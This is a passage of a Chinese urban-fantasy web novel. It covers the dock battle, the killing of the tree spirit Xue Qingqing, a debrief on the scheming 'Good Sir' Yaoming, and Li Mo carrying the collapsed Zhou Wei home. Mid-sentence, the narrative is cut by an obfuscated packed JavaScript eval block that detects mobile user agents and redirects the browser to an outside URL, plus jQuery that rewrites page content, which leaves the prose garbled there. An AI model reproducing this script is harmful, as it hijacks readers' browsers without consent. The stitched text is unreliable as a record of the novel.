他躲着鼠潮、蝠群和异监局的人,试图在一片混乱中找到一条出路,然而玄龟甲灵器是护身符不是隐身符,在这一团乱战中也护不了他多久。李星路提心吊胆地潜行了没一会儿,就当头撞上了一群四处逃窜的火鼠,吓得他差点当场要跪。 好在千钧一发之际,两名监察员从旁侧杀出,险之又险地捞回了他一条小命。 那两个监察员当然认得出这就是周纬放出来当“饵”的那个线人,当即就将他护在了身后,想要带着他跟大部队汇合。只是场上情势瞬息万变,这两个监察员一边要分心对付火鼠和翼手蝠,一边还扯着个堪称累赘的李星路,分身乏术左支右绌,别说汇合了,反而离大部队渐行渐远。 最后走投无路,他们爬上了那岸边矗立的高大的装卸桥吊。 那些桥吊都是用来装卸集装箱的,每一个都有几十米高,钢铁巨人似的耸立在岸边。趴在这上面,至少袭来的火鼠群无处下脚,数量少了很多。两个监察员刚要松口气,又远远地目睹了李默解放妖力、镇杀全场的一幕,被A级妖类磅礴无匹的妖力威压惊骇得头皮发炸。 然而惊骇之余,他们却又愕然发现,李默释放的妖力轰爆了天上的翼手蝠,镇杀了地上的火鼠群,上上下下都没放过,可跟着他们爬上桥吊的这一批火鼠偏偏上不接天下不着地,成了这一波妖力攻击的漏网之鱼! 这运气,说出去怕是都没人信。 此刻他们身处几十米高的桥吊吊臂上,身畔刺骨寒风呼啸,脚下是波涛起伏的汪洋大海,前方吊臂上已经密密麻麻地爬满了火鼠,火红的皮毛和利爪上不时迸射出火花,眼看就已经是个穷途末路。 那两个监察员一风一金,原本就是一对搭档,只可惜鏖战一晚,当下灵力几乎见底,只能勉强维持。那位金系监察员右肩还受了伤,伤口翻卷焦黑,半身染血,几乎失去了战力,全靠风系监察员在吊臂上竖起了无数道无形风刃,挡住了火鼠群的去路,把李星路牢牢护在了身后。 “上啊!你们给我上啊!两个废物!”李星路缩在吊臂尽头,整个人几乎要抖成鹌鹑,却一点没妨碍他面色狰狞嘶声怒吼:“异监局养你们是吃屎的吗?!连一群畜生都打不过,废物!废物!” 两名监察员双目喷火,那个金系监察员忍无可忍,回头一把揪起李星路的领子:“闭嘴!再他妈说一句信不信我扔你下去!” 没想到李星路“啪”的一下狠狠把他的拳头挥开,唾沫星子飞溅:“你们的命不就是留着保护我们这些普通民众的吗?你们不是监察员吗?这个时候你缩个卵!” 那金系监察员话音一滞,几乎被他这一句“你们不是监察员吗”激起了满腔悲愤,刹那间双眼遍布血丝,挥拳作势要打—— 却听前面风系监察员一声惊呼:“不好,要塌了!” 后面的两人同时抬头,身体骤然僵硬。 火鼠全身带火,爪子更是锋锐无比,所过之处地面上都会留下四个着火融化的小坑,普通金属在它们的尖牙利爪前就跟热锅上的黄油没什么区别。几百只火鼠追着这三人挤上了桥吊,又因为两位监察员的拼命阻拦不能向前,竟然在吊臂前半段堆叠了起来。桥吊虽是巨型器械,本身的材质也还是凡铁,哪能经得起几百只火鼠踩踏噬咬,眼看着火红铁水淋漓而下,吊臂在空中摇摆的幅度越来越大,整座桥吊吊臂都被蛀噬出了一个个大大小小的坑洞,随即—— “咔嚓!” 巨大的吊臂从中间整个断裂开来,往海面坠落! 几吨重的巨型器械从天而降,震颤滑脱的火鼠张牙舞爪坠落如雨。三人顿时面露绝望之色,几十米的高度跟跳楼也没什么区别,水面张力会把三个人的骨头都在一瞬间震碎! 金属系监察员别无他法,坠落的瞬间一手揽过前面的同伴,另一只手按在已经扭曲变形的吊臂上,从骨髓里榨出了最后一丝灵力,为李星路造了个半球形的金属底托,拼尽全力把他往高空送去。 身侧突然涌来一阵狂风,举着金属底托和上面的李星路又升高了半米,两名监察员对视一眼惨然一笑,两人的身躯在狂风呼啸中同时坠落。 然而就在此时—— 一束难以置信的绿色光华突然在海面上绽放。 熊熊燃烧着的巨型桥吊火光骤敛,随即有如大地回春,万物生长,无数翠绿色的藤蔓枝条破土而出,飞速攀爬蔓延。化形妖类的妖力完全压过了那些灵智未开的妖兽,整个巨型桥吊转瞬间就被绿色的藤蔓围裹,随即那些藤蔓宛如灵蛇一般探出,就像一个翠绿色的巨人俯身探手,凌空一卷—— “啪”的一声,那三人在千钧一发之际被翠色藤蔓当空卷起,扯着脚踝倒吊在了半空,变成了三个大号的人形蝙蝠。 刚刚接到周纬命令赶到桥吊处的李默猛然刹住了脚步。 所有监察员都被这突然出现的新的妖力震惊了。李默抬头,只见残破的桥吊横梁上方,果然探出了一个熟悉的身影。 娇小的少女伸头探脑地向下看,随机从人群当中锁定了李默的身影。她凌空一跃,抓着一根藤蔓倏然荡出,长长的麻花辫在空中划出一条优美的弧线,轻盈地落到了李默面前。 “薛青青?”李默低头蹙眉看着她:“你怎么会在这里?” 薛青青一愣:“我来帮你……不好么?” 她其实来了有一会儿了。“好先生”跟她说,如果她跑得快,还能见到李默最后一面,她就真是拼尽全力赶过来的。然而来的时候刚好撞上周纬降下青璇结界,把她挡在了外面。她在外面心急如焚了片刻,差点想打个洞从地下钻进去,好在还没实施,周纬的青璇结界就撤了,李默的妖力爆发了出来。 A级妖类的妖力威压非同小可,李默这么一爆发,薛青青当即被镇压在了原地;但她同时也放下心来。 ——李默没事。 那么看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091621|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来今晚也不会再有什么危险了。 薛青青心里觉得“好先生”危言耸听,但想了想也没什么。她已经召集了全部分身,本来就是打算再去找李默的,提前一点也好。 想通了这一节,她也就开心起来,在码头外围安安静静地等着,直到感应到李默的妖力消失了才进来,结果刚一来就看到了李星路三人落海。 是三个人类诶……不救会死的。 她随手做了件好事,高高兴兴地来见李默,却不想李默见到了她,却似乎并没有那么开心。 她抬头打量着李默的表情,心里忽然局促不安起来。下山这么久,经历了不少事,这小藤妖终于也不再是之前那样懵懵懂懂、人事不知的样子了。她无师自通地学会了“察言观色”这项技能,后知后觉地反应过来——自己是不是闯祸了? 这些大人物们各有各的心事算计,装了满腹天衣无缝的计划和筹谋,谁也不会说给她一个连化形期都还没过的小藤妖听。 可她已经身在其中,没人告诉她怎么做,她除了听从自己的心之外,还能怎样呢? “心”是不会告诉她这样做会不会闯祸的,那是脑子才能判断出来的事——“心”只会让她本能地去靠近那个最信任、最亲近的人。 薛青青觑着李默的脸色,心里的不安越发浓重起来,四下乱瞥了一阵,她突然福至心灵,藤蔓一甩,那三个倒吊在海上装蝙蝠的人齐齐摔到旁侧,全都变成了滚地葫芦。薛青青一指那三个葫芦娃,用加重的语气强调道:“我救了人。” ——我救了人,做了好事。 ——你看,我来这里,还是有点用处的。 ——这样就不能算我闯祸了吧? 李默突然失笑。 他本来心中有些惊疑,心想薛青青是怎么找到这里来的,又在想她目前还是逃犯之身,就这样冒冒失失闯到一群监察员中来,会不会有什么后果。然而看到薛青青那仿佛邀功一般强调的语气,那强装镇定却又无意识地捻动衣摆的手指,他脸上又禁不住浮现出一丝笑意。 算了,她什么也不懂,又何必诘难她呢? 李默抬起手,习惯性地摸了摸她的头,安抚地微笑道:“嗯,做得好。” 薛青青笑了。 得了李默一句夸奖,她终于放下心来,把从见面开始就憋在脸上的笑容露了出来。少女天真烂漫的笑容真是世界上最最好看的东西,她笑得眉眼弯弯,连脸颊两侧软软的嫩肉都鼓了起来,刹那间一种名为“灵动”的神采出现她身上,仿佛春风过境,冰消雪融,那种曾经的淡漠和疏离一扫而空—— 无知无觉的枯木活了,藤蔓婆娑,新生的嫩叶在风中唱起了歌。 薛青青蹦蹦跳跳地转了个身,像个真正的人类少女那样把手背在背后,探身向前,长长的发辫从她身侧垂落。 她笑着说:“我……” “噗嗤”一声轻响。 一只手从她的心口探了出来。 那只手细长纤瘦、莹白如玉,留着一指长的鲜红的尖利指甲,手腕处燃烧着一圈奇异的紫红色火焰。那看上去简直像是一只涂着蔻丹的女人的手,哪怕沾满了鲜血和碎肉,却也不怎么显得恐怖骇人,甚至从薛青青的胸口处捅穿出来,它还婉转地转了转腕子,挽出了一个娇俏的花。 所有人都怔住了。 薛青青被那只手带得往前踉跄了两步,李默下意识地上前,接住了她颓然倾倒的身体。 与此同时,那只手堪称“活泼”地挥了挥,像是欢快地向在场众人打了个招呼,随即从薛青青胸口处抽了回去,消失了。 薛青青跪倒在地,低头看了看自己心口,随即抬起头来,望向了李默。 近在咫尺,她的神色几乎是茫然的。 她胸口的那个空洞并不流血,反而开始散发出荧荧的绿色光芒,随着光芒溃散,她的身体缓缓软倒。李默将她抱在怀里,女孩轻轻地抽搐了几下,碧绿的眼睛大睁着,嘴唇翕动,似乎是想说话。 然而还没等她开口,她娇小的身体就缓缓地虚化了,那个灵动少女的轮廓消失在一片青色的光晕里,随着光芒散去,李默手中只剩下了一小段碧绿的藤蔓。 翠色依旧,却布满裂痕。 就连这藤蔓那也不能存续持久,不多时,那段藤蔓就莹莹碧光里缓缓地缩小、缩小,最后变成了一颗莹绿色的妖核。 只剩下一件东西从半空中坠落,“啪”的一声掉在了地上。那东西太薄太软,同样被捅穿了个大洞,终究还是没能像电视剧中上演的一样,在紧要关头保下女孩的一命。 薛奶奶的房产证。 30. 尾声 “李星路死了。” 徐培风挂断电话,叹了口气。 “昨晚你们把他从码头带回来,之后他就出现了多器官衰竭症状,医研中心那边刚刚宣布抢救无效。”徐培风摇了摇头:“之前他说那个组织在他们身上下了禁制,若胆敢泄密便会立即要命,估计是被骗了,那个组织想让他们什么时候死便什么时候死。这些人自以为找到了发财捷径,岂知是与虎谋皮。” 在他对面,周纬整个人“塌”进了椅子里,眉目低垂,有一搭没一搭地听着,心思却像是早就飘远了。 徐培风扫了他一眼,终于看不下去了,握起拳头重重地咳了一声。 周纬被这声响惊动了,这才抬起头来。 他脸上还残留着大战过后的余韵,面色苍白,眼珠黑沉,整个人坐姿是绵软的,精气神却凝而不散,一眼看上去沉静苍郁,几乎令人心悸。 他魂环道:“我刚才在想,既然那个组织早就可以杀李星路,为什么又要大费周章,搞码头设伏这一套。” 他的声调有些发虚,像是气力不济似的,话需得拆开分两段才能说全:“杀李星路是为了灭口,防止他吐露出更多关于组织的秘密,但为了杀一个生死本就在股掌之中的人,搞出那么大的动静,这简直是南辕北辙,适得其反……我想了一夜,也想不通组织这么做有什么好处。” “除非……”他轻声道:“这不是那个组织的手笔。” 徐培风瞥他一眼:“你什么意思?” 周纬人坐在椅子里,指尖相对,浑身上下都静得出奇。他好像进入了一种“节能模式”,只有“脑子”和“喉咙”两个器官还在运作:“昨晚从新莲码头回来之后,我仔细疏离了一下这起案子,越想越感觉,自始至终,我们异监局在这出戏里都是个配角。” “最初是爱丽舍杀人案,薛青青杀了马宏昇,引我们入局。薛青青固然只是为了替薛爱梅报仇,可这起案子却引出了一个关键性证据——那个加密U盘。” “加密U盘的存在引出了李星路,虽然没能从他嘴里得到切实证据,但我猜那起公路袭击案应该也是他策划的。以他的对组织的恐惧,估计是想在组织知道灵器黑货一事已经泄密之前掐断所有线索,把所有相关知情者灭口,把这件事遮掩下来。” “为了不泄密,李星路在盘山公路上袭击了带着加密U盘的我们,又在夜市策划袭杀薛青青,这两件事导致他跟我们异监局起了直接冲突。但这里有两个疑点,就是李星路应该并不知道加密U盘里面具体有什么内容。那么他又是怎么知道会有这么一个可能暴露他们黑暗勾当的U盘的?又是谁告诉他薛青青藏在夜市里的?” “最后,就是码头袭击案。”周纬最后缓缓呼出一口气:“为了杀一个李星路,炸毁了半个新莲码头……我实在想不出哪个脑回路正常的人会办出这种蠢事。除非他们的目标从一开始,就不是李星路。” 饶是以徐培风向来八风不动的定力,也禁不住被周纬这一通分析惊出一身冷汗:“你的意思是……” “爱丽舍杀人案里,薛青青本可以悄无声息地杀死马宏昇,却偏偏把尸体摆成了个行为艺术,引来了我们异监局;后来又有人在信息科和网警的层层封锁下把现场照片发在了网上,差点引起舆情危机。”周纬轻声道:“这种‘小事化大’的风格,是不是跟码头袭击案……有点像呢?” “马宏昇一死,李星路就得知了加密U盘的存在,如果是有人打草惊蛇,故意透露给他的呢?如果有人为了能让他跟异监局正面对上,而特意挑了我跟李默潜入夜市的日子,把薛青青的位置告诉了李星路呢?” “这起案子从都到尾,都有一直无形的手在背后操盘,先是引我们入局,又千方百计地把李星路和背后的组织往我们面前推,就像准备好了火药和火星,只差一条引信——” “……鹬蚌相争,渔翁得利。” 周纬低低地叹了一声:“徐局,我怀疑,这一系列的案子都是为了挑起组织和我们之间的战争。有人想对付那个神秘组织,把我们异监局当枪使。” 徐培风倒吸一口凉气。 然而周纬神色却十分淡然。不仅淡然,他那白得毫无血色的面颊还浮起了一层寒冰似的笑意,像是往脸上扣了个冰霜般的空壳。 “‘好先生’么……”他自言自语般说了一句:“一个妖类,真的能算无遗策到这种程度么?” “那个所谓‘好先生’的真实身份,局里已经查到了。”徐培风递过来一份资料:“他在杀薛青青时暴露了自己的妖力,被‘烛照’系统捕获。他真名叫‘夭冥’,本体是一只蛊雕,A级,二十年前就上了总部的通缉名单。据说他杀人不分凡人、灵力者或是妖类,但只杀女人……可惜了那个小藤妖。” 听到“小藤妖”三个字,周纬的手指微不可察地一动。 突如其来的,他那精密机械般运转的大脑里,有一个齿轮轻轻一滑,他的思维开了个小差。 他想,李默在干什么呢? 李默回到了凤凰山。 上次来的时候还是傍晚,日影西沉,天幕如遮,山林里一片影影绰绰,幽深又寂静。这回却在午后,阳光柔和地透过树影,照出些许鲜嫩的绿色,斑驳地洒在山路上,显得格外静谧温柔。 李默穿过层层密林,偶尔会有横斜的枝杈挂住他的衣服,他伸手拨开,突然发觉那枝桠上,冒出了一个嫩绿的芽孢来。 他盯着那个芽孢看了半晌,反应过来,已经是初春了。 大地复苏,万物生长。 薛青青诞生时的那个藤蔓巢穴已经完全枯萎了。曾经数不清的藤蔓盘虬卧龙、蜿蜒纠结,或苍绿粗壮,或鲜嫩欲滴,但无一不是满目翠色。如今整个巢穴还维持着基本的形状,所有的藤蔓却都已经衰败凋零,变成了一片死气沉沉的枯黄,枝条和叶子全都垂落下来,偶尔一阵风过,就会碎成一堆干枯的齑粉。 这个巢穴和其中所诞生的妖类一同死去了,所剩的只有这巨大而空洞的遗骸。 李默默然垂首片刻,从怀里掏出了薛青青的妖核和那本残破的房产证。 “我会替你把房子拿回来。”他像是在对着那妖核,又像是在对着死去的巢穴说话:“我这些年在异监局,也攒了一点钱,也许不太够直接买下那几间房子,但是我会去找张存义夫妇谈一下的。总有办法让他们听话,不用担心。” 莹碧色的妖核光华流转,并不回答他。 李默蹲下身,将妖核和房产证一起,埋进了一根粗壮的枯藤下面,用泥土压实了,又不放心地拍了拍。 随后他轻轻抚摸了一下那枝枯藤,觉得自己似乎应该说点什么,但张了张口,却发现实在无话可说。 还有什么可说的呢?春风过,夏雷落,过不了多久,这座死去的巢穴就会在时间的作用下腐败衰朽,在虫蛀鼠咬和雨雪沤浸之下化作一滩烂泥。埋在地下的那个残破的小红本也会随之腐烂,成为一堆毫无意义的废纸。 就算房子能拿回来,还有什么意义呢?本应该在这里幸福生活的老人和少女都已经不在了。 就连新的房产证做好,上面只能写上“李默”两个字——因为那个曾经怀揣着旧本视若珍宝的女孩,到死也没能在人类社会留下一个合法的名字。 李默沉默半晌,最终还是开了口:“对不起。” 巢穴的残骸以空洞破碎的眼瞳注视着他。 李默最后拍了拍那即便死去也虬劲依旧的枯藤,就像他习惯性地抚摸少女的头顶那样,然后站起身来,最后看了那巢穴一眼,头也不回地朝山下走去。 木系妖类的生命力是所有妖类中最顽强的。传说中有的木系妖类即使化形,也能在地底留存一部分真身。那是他们真正的根脉,与大地相连,生生不息、岁岁枯荣。只要根脉还在,他们总有重生的一天。 野火烧不尽,春风吹又生。 会是真的么? 李默没有答案。他只是觉得,在自己有生之年,可能看不到这一天了。 妖类寿命漫长,却不是无穷无尽。也许千百年之后,天地造化有灵,还会眷顾这片钟灵毓秀之地。到那时山清水碧,莺飞燕舞,花木欣欣向荣,沉睡在黑暗地底的种子也许会再一次破土而出,向着这曾经辜负她的世间,重新探出幼嫩的、懵懂的枝芽。 那也许便是她,原谅了自己的时候了。 “你说夭冥是为了针对那个组织,所以利用了异监局,有这个可能。”徐培风道:“夭冥毕竟是个妖类,那个组织大肆捕杀妖类炼制灵器牟利,无意中招惹了夭冥,这也是有可能的。” 周纬没有说话,只是缓缓摇了摇头。 一个罪行累累、血案无数,二十年前就上了异监局“红名通缉榜”的妖类,会因为区区一点“物伤其类”的同理心,就布下这么大一个局吗? 那他还真是低估了这些通缉妖犯的道德水准。 “我不觉得夭冥是一个人布下的这个局。”周纬像是有点冷似的,又把自己往椅子里缩了缩:“他看起来不像是会动用舆论力量,扩大案件影响的那种妖类……他背后可能还有别的势力。” 徐培风冷笑:“两大势力角力,拿我们异监局当枪使?好大的胆子!” 他顿了顿,语气又缓和下来,眉宇间涌上一丝忧虑:“不过码头一战后,灵器黑货这桩案子的影响力恐怕会进一步扩大,肯定会惊动总部。与其等总部下来问询,不如我们自己向上汇报,也能挣得一丝主动权。” 周纬想起了他说的要亲自前往总部的事:“您已经决定了?” “决定了,等过两天案件报告写完我就动身。”徐培风苦笑道:“真不想去总部跟他们打嘴仗啊。” 周纬沉吟片刻:“总部那边……现在是什么形势?” “还是那样,执行局和管理局一个激进一个保守,技术局持中端水和稀泥。”徐培风叹道:“这么多年来,执行局的外勤干员一直是总部的中流砥柱,一线监察员们在战斗中流血流汗,回来说话自然就硬气。他们常年和妖类交手,不知有多少同伴牺牲在妖类手上,对妖类有所仇视也是正常……只是近来总部也有了一些别的声音,说是管理局的人故意激化两族矛盾,制造不必要的纷争,从而巩固自己的地位。” “诛心么?”周纬冷笑一声:“我们在前面打生打死,也没妨碍这些人高高在上搞西装政治。” 徐培风瞥了他一眼,没有对他这番堪称刻薄的话做出评价,而是接着道:“特委会这次修订《监察法》,估计会成为执行局和管理局两派交锋的焦点。这个节骨眼上大家都不想出岔子,势必格外谨慎小心。我这一去不知要多久才能回来,局里的事我会交给老赵,你们也都不要轻举妄动,别再惹出什么事端来。” 周纬看了看他,突然道:“这次灵器黑货案如果曝光,对执行局那边将会是一次重大打击,对么?” 徐培风不言,算是默认了这个说法。 想来也是。妖类被大规模虐杀、炼制灵器以牟取暴利,会出现这种事,归根究底还是因为《监察法》不保护未经登记注册的妖类。执行局虽然敌视妖类,但灵器黑货泛滥却也不是他们想见到的。《监察法》显而易见的存在漏洞,导致了这么大的案子,总部执行局那些人这次算是搬起石头砸了自己的脚,一旦被管理局抓住把柄,必定会借题发挥大做文章。 这么一看,徐培风此去,相当于怀揣着一枚能够左右天平的重量级砝码。 难怪他会说自己“不知多久才能回来”。 周纬沉默片刻,突然道:“徐叔,您觉得《监察法》该修改么?” 他用的称呼不是“徐局”,而是“徐叔”——这是个不该在正式谈话场合出现的私人称谓。徐培风居高临下地看了他一眼。这一眼,仿佛就把周纬看透了。 只听他低声叹道:“我明白你的意思,但是小纬啊,你要明白,有的时候很多事凭借一腔意气是不行的。平衡各方,顾全大局,这才是长久之道。” 周纬一言不发地偏过头去,看着窗外。 其实按照他的性格应该是要争辩的。只是也许是外面天色渐暗,也许是他一场大战之后到现在还未休息,身心都无比疲倦,也许只是因为他刚刚听 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“我不回去。”他道:“我等个人。” 直到金乌西坠,周纬才等到李默回来。 他独自在办公室里等,没打电话也没发消息,仿佛冥冥之中十分笃定,李默一定会回到市局来一样。不到二十四小时,他先是指挥了一场大战,之后又忙着各种善后,清理现场、救治伤员,向局里汇报情况,还得跟徐培风打各种关于总部勾心斗角的机锋……说不累是假的。 他在办公室里等得神智昏沉,迷迷糊糊感觉自己好像已经睡过去了,却又一直睡不沉,一颗心吊悬在半空中,还没放下来。 不知过了多久,“咔哒”一声轻响,周纬撑着脑袋的手肘一滑,他像是一步踏空,心里猛然向下一坠,蓦然抬起头来。 李默的身影出现在办公室门口,影影绰绰地说了句:“……周队。” 周纬瞪着眼睛看了他半晌。也许是他刚从昏睡中惊醒,神经还没接上,他蓦然发现李默的身影居然出现在了重影,声音也忽远忽近的。他按着脑袋,狠狠甩了两下,眼前这才恢复正常:“唔……你回来了……对,我正在等你,坐吧。” 李默在他对面坐了下来。周纬道:“你去哪里了?” 李默:“我去了凤凰山。” 周纬的话音一滞。 他没有问李默去凤凰山干了什么,又看到了什么。薛青青的下场他已经见到了,变成妖核的妖类是无论如何也不可能再回来的,问也没用。 他顿了顿,低头从抽屉里拿出来那份徐培风给的资料,朝李默推了过去:“这就是那个‘好先生’。” 李默接过资料翻开,眼神在“夭冥”那两个字上停留了片刻,快速浏览了一遍之后就合上了,脸上没什么表情。 周纬道:“你有什么打算?” 李默简洁道:“杀了他。” 他说的是“杀了他”而不是“抓到他”。 周纬深深地看了李默片刻,随即点了点头:“……好。” 他顿了顿,突然又道:“薛青青的死,是我的责任。” “从她说‘好先生’没有告诉她夜市不得动武的时候起,我就意识到,这个‘好先生’对薛青青没什么善意,只是利用她当个棋子。你提出让薛青青加入异监局,这不会是他想要看到的,因为我们很可能从薛青青这里挖到关于他的一些线索,对他来说有暴露的危险。对于夭冥来说,棋子最好的下场自然是用完即弃,杀人灭口……他把薛青青送到夜市,估计就是打的这个主意。” “我本来应该有所警惕的……却忘了提醒你们。”周纬低声道:“对不起。” “不。”李默却突然道:“他是冲我来的。” 周纬一愣。 “他想要杀薛青青,随时都可以杀,却特意把她引到新莲码头,送到我面前来,让我看着她死。我知道他是冲着我来的,他在向我挑衅。”李默双眸微垂,声音缓慢低沉:“而且……是我提出让薛青青加入异监局,为此她才会解开‘李代桃僵’之术,召集自己的所有分身……如果不是这样,她也不会死。” 他深吸一口气:“所以她的死,是我的责任。” 周纬停顿片刻,问道:“你认识那个夭冥吗?” “不认识,我也不知道他为什么要针对我。”李默缓缓摇了摇头,随即却又抬起头来。办公室顶灯白炽的光芒落下,他的脸在灯光下呈现出一种坚硬的色泽。 他轻声道:“没关系,我记住了他的妖力,下次见面就可以知道了。” 周纬抬头看他。李默那件从不离身的黑色大衣像是像是从门外携来了一片夜色般,浓重到化不开,哪怕待在温暖的室内,也带给人一片心悸的沉重和寒凉。 半晌,他终于点了点头道:“……会有机会的。” 眼前的灯光又开始摇曳起来,晃成了一大片大大小小的光斑。周纬突然有些恍惚,心想:“还有什么事来着?” 好像还有件事,他得跟李默说一下……是什么来着? 他人在椅子上,轻轻地摇晃了一下。李默察觉到了,倏然一愣:“周队,你怎么了?” 周纬没听见。 他的耳畔突然响起了一阵细细的嗡鸣,把周边的声音拉得忽远忽近。周纬模模糊糊地抬头,看见李默站起身,朝他走了过来,伸出双手,像是想要扶他。 “哦对,想起来了。”他恍然地想。 他双手撑在椅子扶手上,吃力地支起身子站了起来,脸上似乎想要露出一个宽慰般的微笑:“李默,这次码头大战,我们的监察员虽然有人轻伤,但一个……一个重伤和死亡的都没有……这是你的……功劳……” “我代表市局……感谢你……”周纬艰难地转向那个应该是李默的模糊轮廓,心里想着应该给他鞠个躬。 他微微低了低头,然后就着这个姿势,一头栽倒了下去。 一口鲜血无知无觉地呛了出来,溅满了李默的衣襟。 “周队!!!” 31. 回家 李默霎时间魂飞魄散。 他一把接住倒下的周纬,胳膊上顿时起了一层细小的鸡皮疙瘩——这人怎么冷得跟刚从冰窖里挖出来的一样! 周纬面色苍白,呼吸已经极其微弱,眼睫不断地轻颤着。李默一见就心里一惊,立刻伸手就要去抓办公桌上的座机,打算叫医研中心的人过来。 没想到刚一抬手就被另一只冰冷的手压了下来——周纬竟然还没晕过去! 周纬只觉得自己的呼吸都冷了,眼前发黑,耳朵里嗡鸣不断,唯有脑子还强撑着一丝执念,竭力颤抖着压着李默的手:“不能、不能让人……知道……” 李默:“???” 这说的是什么梦话! “送我回家……家里有……药……”他说完了这句发神经的话,胳膊终于颓然往下一垂。 李默顿时倒吸一口冷气。 他赶忙放倒周纬,双指在他颈边一探,发现他只是晕过去了,但千真万确还有呼吸和心跳,这才松出一口气。 然而这一口气还没松到底,他又一个头两个大。 什么“送我回家”,他连周纬住在哪里都不知道! 李默直起身来,看着面色煞白、双眸紧闭的周纬,又看了看桌上的办公电话,神情几度纠结挣扎。 片刻后,他终于下定了决心般,拾起了座机电话。 十分钟后。 从市局办公室处得到了周纬家住址的李默,带着一个昏迷不醒的周大队长,坐上了离开市局的出租车。 离开市局的这一路可谓惊心动魄、险象环生——因为周纬晕过去之前交代的那一句“不能让人知道”,李默一路上宛如做贼,不仅要做躲着那些还未下班尚在局里逗留的监察员们,还得避开无孔不入的监控摄像头,逼得他不得不五感全开、招数尽出,几乎有几分狼狈。 幸亏他是个A级妖类,换了其他人来,想要在不惊动任何人的情况下,把一个昏迷不醒的大活人囫囵个儿地“偷渡”出异监局,都得是个“mission impossible”。 等上了出租车,李默更是如坐针毡。周纬很明显已经失去了意识,在后座上根本坐不住,不断地往李默肩膀上靠,李默只能一次又一次地把他的头摆正……短短十五分钟车程,出租车司机从后视镜中射来的狐疑目光几乎要洞穿李默眉心,他不禁怀疑,要是周纬是个大姑娘,这时候司机估计就该拿出手机报警了。 结果等好不容易挨到付钱下车,那出租车司机收到车费,竟然没有立刻开走,而是摇下车窗,面色复杂地看了李默一眼。 李默:“……” 他不知为何突然被这一眼看得有些心虚。 “唉,小伙子,”那位人到中年,已经有些发福的司机大叔,脸上突然流露出了几分“过来人”的沧桑,长叹一声道:“就算是个男孩子,也要对人家负责啊……” 已经三百多岁了的“小伙子”站在原地:“……” 他没太听懂,但直觉这位大叔误会了什么。 结果到了小区门口,又出现了新的问题。 周纬在吃穿用度上从来不亏待自己,买房自然也是讲究。他所居住的这座小区位于市中心黄金地段,离市局只有不到三公里,打的是“奢华顶配,上流名居”的广告语。高端小区自然从物业管理到配套设施都不在话下,连安保措施都格外完善严格。 只是太严格了,没有业主刷脸根本不让进! 李默看了看伏在自己肩头,双眸紧闭的那位“业主”,又看了看紧闭的小区大门,无声地叹了口气。 五分钟后,一道倏忽缥缈的剪影从小区上空一闪而过。 李默还未化形的时候久居深山,高山深涧也曾来去自如,然而化形之后进入人世,为了学习人类的生活方式绞尽脑汁,虽然还有飞檐走壁的本事,却也甘愿每天朝九晚五地跟着一大群社畜牛马挤公交,再也没做过这种高来高去的事——直到今天迫于某位周大队长金口玉言,又做了一回“梁上君子”。 ……但愿这个小区里没有喜欢拿着天文望远镜看月亮的。 周纬的家在16楼,好在这个小区的安保措施还没有强到在高层住户的阳台上装防盗网的地步。 李默轻轻推开了周纬家阳台的门。 他倏然一愣。 这里应该是周纬的家没错,因为房间内传来的确实是周纬的气息。 然而很淡……太淡了。又一瞬间,李默怀疑自己是不是找错了屋子,走到了周纬家隔壁——因为从气息上来看,这房子里周纬的味道大概也就是这个程度。 他这是……多久没回家了? 周纬家里很大,大而空旷,一百四十多平的三室一厅,北欧式的装修风格,全屋冷灰和深蓝的色调搭配,从装潢到布置都透着“低调奢华”四个字,可见主人家是个不缺钱的。 可这房子寂冷得几乎没有一丝人气儿,看着久未居住,所有的家具却都纤尘不染,在月光下泛着冰冷精致的光泽。李默轻轻吸了吸鼻子,敏锐地从空气中捕捉到了一丝洗涤剂的味道。 ……看来这房子,家政人员比主人来得勤。 李默心里,某个极幽深地方像是被轻轻戳了一下。他侧过来脸,对着伏在自己背上的周纬轻声道:“醒醒,周队,到家了。” “……”周纬的眼皮颤动了几下,睁开了一线。 身为妖类,李默平常的体温就要比正常人高一些,被李默背了这一路,他的温度透过宽阔厚实的脊背传过来,恰好熨帖了周纬的心口。他仿佛从这点温度中汲取到了一丝能量,神魂从混沌中挣开了一瞬,恍恍惚惚地意识到了自己身在何处。 他感觉自己被人轻柔地放倒了,陷在了一团柔软的棉花里。 “药……”他含混不清地道:“在……” 一双手握住了他冰凉的手指:“我知道,你别动。” 李默一进屋就嗅到了那股熟悉的味道,此刻像是驾轻就熟一般,拉开床头柜底下的小抽屉,从中取出了一个小木盒。 木盒打开,里面果然是白泽曾经给周纬的那些香烟,旁边还有一个打香篆的小香炉,里面已经有了不少烟灰。 周纬已经又昏昏沉沉地垂下了头。李默看了一眼眼前的这些器具,心中有了几分猜测,当下不再迟疑,飞快地操作起来。 他先取了一根香烟,碾碎,将烟叶碾出来放入香炉中,想了想又不放心,干脆再碾了一根。 随后将那些碾碎的烟叶点燃了,盖上炉盖,刹那间一股清冽幽香就升起在了空气中。 李默轻轻将周纬扶了起来,让他靠在床头,举着小香炉在他鼻端缓缓过了一遍,试探性地问道:“周队?” 周纬:“……唔。” 那飘飘渺渺的白烟十分神奇,仿佛有灵似的,甫一升起就向周纬的方向飘了过去,不仅是从口鼻处进入,简直像从皮肤中渗进去般,丝丝缕缕地缭绕在他身边。周纬迷迷糊糊地吸了一口,喉头一动,发出了一声微弱的声响,指尖轻轻一颤,像是有了知觉。 他缓缓睁开了眼睛,眼中迷迷蒙蒙,也不知认出李默来没有,只是模模糊糊吐出了两个字:“……给我。” 李默略一迟疑,将那个香炉轻轻塞到了周纬掌心。 周纬双手拢住香炉,倚靠在床头,很慢很慢地低下了头去。 他现在的状态经不起灯光惊扰,李默就没有开灯,卧室的窗帘没拉,冷白月光如水般泼洒进来,刚好落在床边的两个人身上。 周纬的额发和鬓角都被冷汗濡湿了,越发显得浓黑一片。他面色苍白,修长身体倚靠在床头,安静地垂首坐着,手中拢着一个明明灭灭的 